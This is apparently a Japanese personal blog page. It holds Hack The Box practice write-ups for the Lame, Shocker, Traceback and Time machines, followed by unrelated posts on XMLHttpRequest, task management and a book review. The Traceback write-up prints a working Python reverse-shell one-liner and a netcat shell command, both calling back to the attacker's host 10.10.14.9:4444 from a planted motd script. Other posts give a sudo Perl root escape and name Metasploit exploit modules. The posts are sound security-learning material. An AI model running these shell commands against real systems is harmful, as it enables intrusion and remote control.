shinobe179の日記

@shinobe179 の技術メモ・やらかし録

【Hack The Box二十五番勝負 Advent Calendar 2020】4日目 vs Lame(○)

f:id:befs_anne:20201203233004p:plain

はじめに

これは、Hack The Box二十五番勝負 Advent Calendar 2020 4日目の記事です。

adventar.org

サマリ

  • 対戦相手:Lame
  • 対戦日時:2020年12月3日 22:00 - 22:45
  • 結果:勝利
  • 主な勝因:
    • ていねいに情報収集をやった
    • ぶっちゃけめちゃ簡単なBoxだった
  • 通算成績:4戦1勝3敗

対戦相手

今回の対戦相手は「Lame」です。 www.hackthebox.eu

Walkthrough

※以下、解法に関するネタバレです。

自分でやったこと

情報収集

  • nmap
    • 以下のポートが開いていることを確認した。
      • FTP(21)
        • anonymousログイン可。
      • SSH(22)
      • Samba(139, 445)
        • enum4linux は特段何も分からず。
    • distccd(36332)
      • なんか開いてて、 nc とかしてみたけど、ついぞなんだか分からず。

侵入

  • FTP
    • バナーが vsftpd 2.3.4 だったので searchsploit で調べたところ、かの有名なバックドアが刺さるバージョンだった。
      • Metasploitでexploitしてみるも刺さらず。
      • エクスプロイト実行中の netstat を見ると6200番ポートへ通信していた。そういえば、このエクスプロイトは6200番ポートも開いている必要があった気がしてきた。
        • nmapを実行する時、まずは -p-付けずに 実行して、well-knownなポートの結果だけを見てから -p- と -A を付けて再実行し、待ち時間中にできることをやる、ということをしている。metasploitした時点では、2回目の結果が出る前だったので6200が閉じていることが未確認だった。
  • Samba
    • nmapのNSEスクリプトを試すも、 smb-vuln* 系には特にマッチせず。
    • nmap -A の結果にバージョンが出ていたので、 searchsploit すると Username' map script' Command Execution (Metasploit) がヒットした。
    • msfconsole で上記に該当する(っぽい)モジュール(multi/samba/usermap_script)実行したら、即rootのシェルを奪えてしまった。 /root/root.txt を開いて、own root。
    • /home を確認すると makis というディレクトリがあり、中を覗くと user.txt があった。own user。

Writeupとの差異

特になかった(!)。当然own userが先だろうと思っていたので、rootのシェルが取れた時は「あれ?僕また何かやっちゃいました?」って感じだったけど、公式Writeupも同じ手順で「immediately grant a root shell.」って書いてあった。なんだよ。

KPT(Keep-Problem-Try)

Keep

  • nmapの結果を起点に、ていねいに情報収集できてたと思う。

Problem

  • vsftpdに時間をかけないで済んだのは、たまたま netstat を見たからな気がする。Metasploit任せにしないで、コードを読むべきだし、せめてどんなフローが発生するかぐらいは見ておく。

Try

  • 勝つのは気持ちがいいけど学びが少ないので、なるべく大きめのIDのBoxに挑戦した方がいいかも(大きいから難しいわけではないかもしれない)……?

【Hack The Box二十五番勝負 Advent Calendar 2020】3日目 vs Shocker(●)

f:id:befs_anne:20201203215638p:plain

これは、Hack The Box二十五番勝負 Advent Calendar 2020 3日目の記事です。

adventar.org

サマリ

  • 対戦相手:Shocker
  • 対戦日時:2020年12月2日 22:45 - 23:30
  • 結果:敗北
  • 主な敗因:
    • Shellshockが題材だろうということに気づいていながらも、 /cgi-bin/ 以下のスキャンを怠った
    • そもそも、Shellshockのことあんまりよく分かってなかった
  • 通算成績:3戦0勝3敗

対戦相手

今回の対戦相手は「Traceback」です。 www.hackthebox.eu

Walkthrough

※以下、解法に関するネタバレです。

自分でやったこと

情報収集

  • nmap
    • HTTPとSSHTCP:2222)が開いていることを確認した。
  • dirb
    • 以下が存在することを確認した。
      • index.html
      • /server-status/(403)
      • /cgi-bin/(403)
  • その他やったこと
  • ブラウザ
    • ソースのコメントを見て、ウェブシェルが動いているかもしれないと当たりをつけた。
    • nmapによるSSHブルートフォース
      • ポートが22から変えられているからか、 script=ssh-brute ではスクリプトが動かなかった。
        • ググって --script +ssh-brute とするとポートを無視して動くことを確認した。
        • 更に、デフォルトで10分間でブルートフォース(nmapによるスキャン自体)がストップしたため、 --script-args=unpwdb.timelimit=60m として1時間スキャンを継続するようにした(が、ログイン試行は成功しなかった)。
    • niktoによるHTTPサーバースキャン

残りの手順

Writeupは公式のものを参考にしています。

侵入

  • Dirbusterを使って /cgi-bin/user.sh を発見する。
    • /cgi-bin/ を見つけた後に、プログラミング言語の拡張子でその配下に更にスキャンをかける、ということらしい。
  • Metasploitの exploit/multi/http/apache_mod_cgi_bash_env_exec モジュールでリバースシェルを確立する。
  • shelly というユーザーとしてログインできるので、ホームディレクトリで user.txt を開く。own user。

権限昇格

  • sudo -l すると、 root権限でPerlが実行できることが分かる。
  • sudo /usr/bin/perl -e 'exec "/bin/sh"' を実行してrootになり、 /root へ行って root.txt を開く。own root。

KPT(Keep-Problem-Try)

Keep

  • nmapの新たな使い方を知ることができた(+でのスクリプトの指定、実行時間指定)。

Problem

  • ディレクトブルートフォースの詰めが甘かった。 /cgi-bin/ が403というだけで、除外してよいものと考えていた。
  • Shellshock、聞いたこととVHLで遭遇した(その時はsearchsploitで拾えた)ことがあるぐらいで、ちゃんと理解してないから /cgi-bin/ を切ってしまったというのもある気がする。

Try

  • 週末にもう1回チャレンジする。
  • ブルートフォース系は何種類かのツール / 辞書を使った方がいいか……?
    • 打開できないようならそうする。並行で別のことを試しながら。
  • Shellshockのことを調べる。

【Hack The Box二十五番勝負 Advent Calendar 2020】2日目 vs Traceback(●)

f:id:befs_anne:20201202015930p:plain

はじめに

これは、Hack The Box二十五番勝負 Advent Calendar 2020 2日目の記事です。

adventar.org

サマリ

  • 対戦相手:Traceback
  • 対戦日時:2020年12月1日 20:30 - 23:00
  • 結果:敗北(Own userまで到達)
  • 主な敗因:
    • luvitを使うときのオペレーションにもたついた
    • ウェブシェルを見つけた直後にリバースシェルに切り替えなかった
    • .ssh/authorized_keysに自身の公開鍵を追加するアイデアが思い浮かばなかった
  • 通算成績:2戦0勝2敗

対戦相手

今回の対戦相手は「Traceback」です。 www.hackthebox.eu

Walkthrough

※以下、解法に関するネタバレです。

自分でやったこと

情報収集

  • nmap
    • HTTPとSSHが開いていることを確認した。
  • ブラウザ
    • ソースのコメントを見て、ウェブシェルが動いているかもしれないと当たりをつけた。
  • dirb
    • aptでseclistsを落として、backdoor_list.txtでブルートフォースした。
      • dpkg -L {{ パッケージ名 }}で、パッケージに含まれるファイルのパスが分かる。
    • smevk.php というファイルを見つけた。
    • admin:adminでログインできた。
  • その他やったこと

脆弱性調査

以下、ウェブシェル(smevk.php)上で実行したことです。

  • ログインユーザーがwebadminであることを確認した。
  • sudo -l で、sysadminとして/home/sysadmin/luvitが実行できることを確認した。
    • この時点では結果を正しく読み取れていなかった(特に「sysadminとして」の部分)。
  • note.txt を確認した。
  • .bash_history を確認した。
    • sudo -u sysadmin /home/sysadmin/luvit privesc.lua の実行履歴を確認した。
    • その後privesc.luaが削除されていることを確認した(.cacheとかからprivesc.luaを探すのかと思ったら違った)。
  • ググってLuaでのOSコマンド実行方法を確認(os.execute())した。
  • echo 'os.execute("ls -la /home/sysadmin") > tmp.luaなどとしてLuaファイルを作り、sudo -u sysadmin /home/sysadmin/luvit tmp.luaを実行した。
    • user.txtがあることを確認した。ここでOwn user。
    • .ssh/authorization_keys内に、Kaliで生成したらしい公開鍵があることを確認した。
  • その他やったこと
    • wgetでローカルマシンにあるlinpeas.shをダウンロードして実行した
      • カラーコードのせいで見づらくて大して読んでない

ここで時間切れです。Writeupは公式のものを見ました。

残りの手順

ラテラルムーブメント(sysadminとしてログイン)

  • sysadminの.ssh/authorized_keysに、ローカルマシンの公開鍵を追加する。
  • ローカルマシンからSSHログインする。

権限昇格

  • ps auxpspyで、/bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/が実行されていることを確認する。
  • ls -al /etc/update-motd.d/で、配下のファイルに書き込み権限があることを確認する。
  • 00-headerに以下を追記し、SSHログイン時にリバースシェルが確立されるようにする。
    • python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &
    • 30秒ごとにバックアップファイルで上書きされるため、書き込みからログインは迅速に行う(なぜか書き込み→ログアウト→ログインとしていたが、別のターミナルで、なんならwhile文で更新し続ければよかった)
    • nc -e /bin/sh 10.10.14.9 4444 &も試したが、こっちでは確立しなかった。なんでだろう?
  • ローカルマシンでnc -lvp 4444しておくと、SSHログインした時にrootでのリバースシェルが確立する。
    • 1回のキー入力で2文字入力される謎現象が起きていたので、ペーストした直後にEnter押下で対応した。
  • cat /root/root.txtでOwn root。

KPT(Keep-Problem-Try)

Keep

  • 情報収集の段階で、複数手段を並行で展開できたこと。
  • ウェブシェルがありそうと思った時点で、SecListsにそういうファイルがありそうという発想ができて、enumできたこと。
  • マインドマップっぽくメモをとりながら進めたら結構効率がよかったこと。私にはPCでのメモより相性がよさそう。もちろんスニペットなどは例外。

Problem

  • ウェブシェルでオペレーションし続けるべきではなかった。公式WriteupだとすぐにPythonリバースシェルをしていた。
  • .ssh/authorization_keysは、普段実務でやっているが気がつかなかった。
  • ps auxlinpeas.shpspyの結果を見て、motdが怪しいと気づくには何が必要なのか?
  • nc -e /bin/sh 10.10.10.9 4444でリバースシェルが確立しなかったのはなぜか?
  • 終盤のPythonリバースシェルで、2文字ぶん入力されてしまうのはなぜか?

Try

  • 週末にもう1回チャレンジする。
  • ウェブシェルを見つけたら、即リバースシェルに展開することを考える。
  • 以下のWriteupを読む。ATT&CKってこういう風に対応づけられるんだな。

【Hack The Box二十五番勝負 Advent Calendar 2020】1日目 vs Time(●)

はじめに

これは、Hack The Box二十五番勝負 Advent Calendar 2020 1日目の記事です。

adventar.org

本日の記録

23:00過ぎから、Timeというマシンと戦いました。開始が遅かったことを差っ引いても、ほぼなすすべなく敗北。

というか、Writeupに相当するものを書いていいのがRetireしたマシンだけであることが発覚。よく考えたらそりゃそうだって話ですが……。そういうわけで少なくとも今月1ヶ月はVIP(もしくはVIP+)プランを契約して、Retireマシンを相手にバチバチやろうかと思います。

反省

  • ウェブ問題に弱い。理屈はだいたい頭に入ってるはずなんだけど、実践がどうにも。
  • 未だにSSHブルートフォースに慣れない。スニペットが必要。
  • もういい年なんだから、いい加減行き当たりばったりで企画に挑戦するのやめようと思いました。

おわりに

現在の戦績……1戦0勝1敗

XMLHttpRequestを使ってリクエストを送信する

はじめに

フロントエンド周りでちょっとした頼まれごとをした時に必要になったので調べました。<script> タグ内で使うことももちろんできるし、ブラウザのコンソールから実行することもできます。

本題

// オブジェクト生成
var xhr = new XMLHttpRequest
// メソッド、URLを指定
xhr.open("GET", "http://example.com")
// リクエスト送信
xhr.send()

// レスポンスの確認
xhr.response

おわりに

XMLHttpRequestの存在は徳丸本で知りました。jQueryとかだともっと簡単にできるのかな?分かりません。

タスク管理弱者なりの、タスク管理ツールとの向き合い方

はじめに

私はタスク管理弱者です。弱者なりに色々勉強・工夫してきたので、自分なりのタスク管理の考え方をまとめます。あまり特別なことはありません。

タスク管理の目的

以下のような具合です。総じて「真っ当な社会人としてふるまうため」「期限ギリギリでつらい思いをしないため」にやっています。

  • タスクの存在を忘れないため
  • タスクが今どういう状態(未着手、仕掛かり、レビュー待ち、完了など)にあるのかを把握するため
  • タスクをいつまでに完了させなければならないのか把握するため
  • これまでやってきたことを記録し、将来の参考にするため

用語の定義

この記事で言うところの「タスク管理ツール」とは、主にTrelloやAsanaといったカンバンベースのツールのことです。表現に関する説明は、いずれも私の使い方における定義です。

  • ボード…リストの集合。プロジェクトを表現します。
  • リスト…カードの集合。各タスクの状態を表現します。
  • カード…タスク管理ツールにおける最小単位。ここのタスクを表現します。

ボード構成

自身のタスクを管理するためのSelf Boardがまずあって、そこからプロジェクトとして成立するものは個々のProject Boardとして切り出して管理します。Self Boardで管理するのは、Project Board(s) + プロジェクトと呼ぶに足らないタスクやその種(アイデア)です。

f:id:befs_anne:20201123070208j:plain

グッドプラクティス

私がやってきた中で継続すべきだなと思っていることを列挙します。

リスケを恐れずに期間を設定する

各タスクに対応期間が設定されていないとタスク管理もクソもありません。最も基本的で重要なことです。入力された期間を頼りに稼働負荷を示すグラフを作ってくれるタスク管理ツールもあるので、自分の忙しさを定量的に、俯瞰で把握するためにも必要です。どうせ未来のことなどよく分からないし、何せ私達はタスク管理弱者です。適当に設定して、リスケできるならすればいいし、できないなら期限前日に泣く泣く残業する経験を何度もすれば、見積もりの精度が上がる、余裕を持ったスケジューリングをするといった変化を余儀なくされるはずです。

参考:カスタムフィールドで「もともとの期間」を設定する

タスクの対応期間を設定するフィールドは1つしかないので、リスケすると予定と実績がどれだけ解離したかが分かりません(カードの変更記録として記録されることもありますが、見づらいです)。カスタムフィールドの作成が可能なら、「もともと予定していた期間」と「現在の期間」を記録するフィールドを分けるのもよいです。

完了条件を設ける

どうしたらそのタスクが完了と呼べるのか定義し、可能なら書いておきましょう。忘れるので。私の場合、後述しますがタスク名がそのまま完了条件を示すことも多く、わざわざ別途定義するようなことはあまりないです。

参考:レビューをそのタスクに含めるか、レビューのカードを別途作るか?

ケースバイケースですが、以下のうち前者が優先されるならタスクに含めて(タスク内チェックリストで表現するとか)、後者が優先されるなら別途カードを作るとよいです。

  • リスト(:=タスクの状態)を逆戻りさせたくない
  • タスクをDoingに長居させたくない

レビューを実施するタイミングが週次などで定められている場合は前者でよいと思いますが、私は業務の性質上定期レビュー的なものがなく、レビューの調整というタスクが発生します。調整もタスクとして管理したほうが都合がよい(タスクが細かくブレイクダウンされているので厳密に管理できる、Doneする機会が多いので「進んでいる」感があって嬉しい)ので、別でカードを作っています。

タスク名は「主語+述語」で表現する(:=タスクをブレイクダウンする)

タスク名を単語のみにすると、完了条件がよく分からなかったり、ブレイクダウンの余地があることに気付きにくいです。私の場合は、例えば「基本設計書を作る」「基本設計書レビューを調整する」「基本設計書レビューを実施する」のようになります。

チェックリストは備忘に留める

カードの中でチェックリストを表現できるものが多いです。本来カードとして表現すべき内容をチェックリストで表現するのは、バッドプラクティスです。対応期間が設定できない、設定できても前述のようなワークロード可視化機能で単一のタスクとして扱われないなどといった弊害もあります。

タスク管理のレビュー機会を定めて、チームメンバーやマネージャーの前でDoneする

各カードのタスクが完了条件を満たしたら、Reviewingリストに移動します。週次などのミーティングで完了した旨と必要であればそのアウトプットを示し、合意を以てDoneリストへ移動します。

『Fearless Change』を読んで、エンジニア的なモチベーションで社内営業に取り組めそうって話

はじめに

『Fearless Change アジャイルに効く アイデアを組織に広めるための48のパターン』の読書メモです。

www.amazon.co.jp

営業のスキルシート

私はエンジニアリングを仕事にしていることを結構気に入っています。エンジニアリングをやる理由としては邪道な気もしますが、何かを生み出すことよりも、何かが「できるようになった」ことが明確に分かるからです。エンジニアリングのスキルは「PythonAPI書いてました、インフラはAWSでEC2とRDS使ってウェブアプリ作るのに困らない程度には分かる、RDBの設計やチューニングのコアなところはからっきしです」みたいに、できること・経験があることをある程度明確に説明できて好きです。SES業界にはスキルシートなんてものもあるわけで。好きですね。

一方で、私は営業活動が苦手です。特に社内営業というやつはクソ喰らえだと思っています。そんなものがあるから、SlackのDMはいっこうになくならないし、タバコミュニケーション / 飲みニケーション的なものがまかり通っているのだと思います。

何よりクソ喰らえなのは、「何ができて、何ができないのか分からない」ことです。人とのコミュニケーションや、コミュニケーションを通じて自身の要求を通すスキルって、それができた・できなかった事実だけが残って、自分の何がその結果を生み出したかって分からなくないですか?ていうか、相手次第だったりするじゃないですか。ある結果を自分のスキルが(あるいはスキルのなさが)生み出したのか分かりません。エンジニアのスキルも時代と共に陳腐化しますが、営業力ってそれ以前の話だなと。細分化されてなくて、ただただ「営業力」っていう内部パラメータが実績のみで増減する感じ。LinkedInとかWantedlyで営業職の方のスキル一覧、見てみてくださいよ。「BtoB営業」「プレゼン」「Microsoft Office」「盛り上げ力」「一発芸」……なんじゃそりゃと。営業の皆さん、自分の出した結果が何によってもたらされたのか説明できますか?それって自分のスキルですか?どうですか?

そもそも「私、昔営業職やってました」って話から入るべきだったんですけど、そういうのが嫌でこの仕事を志したんですよ。そしたら結局、自分がやりたいことをやろうと思ったら、社内営業が必要なんですよ。どこまで行っても仕事は結局「人」、ようやく諦めがついたのが数年前です。

48の営業技

コミュニケーションで金を稼ぐことはついぞ叶わなかった私ですが、せめて技術で何かを解決するためのサブウエポンとしてのコミュ力・営業力というやつを身に付けるぐらいはしてもいいだろうという気持ちです。

ここでようやく『Fearless Change』です。同著は、新しいアイデアを如何に組織に浸透させるか?についてのハウツー本です。翻訳書特有のバタ臭いケーススタディには若干胃もたれしますが、そこに気を取られてはいけません。大事なのは「48のパターン」です。この本のいいところは、社内営業の手法を48のパターンとして個別に紹介してくれているところです。要は、あの「営業力」というよく分からん内部パラメータが、これを読むことで(少なくとも「社内営業力」に関しては)48のスキルの習熟度で構成されていると捉えられるようになるわけです。これには営業生まれSES育ち、嘘っぱちスキルシートはだいたい友達の私もにっこり。戦闘(社内営業)中、これまで「たたかう」という漠然としたコマンドしかなかったのが、同著を読み終えた瞬間から「とくぎ」が48個増えている安心感ったらない。

f:id:befs_anne:20201011224828p:plain
『Fearless Change』を読むと、技が48個増える。なお、有利不利はもちろんあるし、熟練度は別途上げる必要あり。

好きな技

私が気に入っているのは「次のアクション(19)」「お試し期間(47)」です。同著を読む前からよく使ってたと思うので、それなりに熟練度が高いはずです。

できるようになりたいな、って技

同著内で「最小基本パック」と呼ばれている「エヴァンジェリスト(1)」「予備調査(4)」「ふりかえりの時間(5)」「小さな成功(2)」「ステップバイステップ(3)」はもちろん、「感謝を伝える(18)」「勢いの持続(41)」あたりもです。特に一度走り出した施策がダレちゃうみたいなことってよくあるんで、気をつけないといけません。あとは、「成功の匂い(40)」ですね。ようはちょっと前に言われていた「信頼貯金」ってやつです。タイプしているだけでも、怖気のする字面だ。

本当は嫌だけど、身につけないといけない技

ダントツで「みんなを巻き込む(33)」。というか、これをやるための他47の技だろって話なわけで。なんで(33)なんだ……?(1)か(48)だろって気もしますが。ちなみに(1)はエヴァンジェリスト(これは分かる)、(48)は「将軍の耳元でささやく」です。位置づけも含めて本当にクソな技だ。でも大事なことです。

あー……あとは「懐疑派代表(44)」「恐れは無用(46)」みたいな、反対派との付き合い方みたいなのも苦手ですね。根本的に「はい、お前らのせいでこの施策台無しでーすサヨウナラ!会社も辞めますこんな連中とはやってられないんで!!!」みたいな精神性なのでダメです。でもこれもスキルとして捉えられるようになって、だいぶ気が楽になりました。私は反対派に迎合するのではなく、スキルを駆使しているのだと。我ながらひねくれている。

おわりに

『Fearless Change』、社内営業がダルいなーと思ってる方にぜひ読んでみてほしいです。営業力とかいう漠然としたものを、スキルっぽく捉えられるようになりますよ。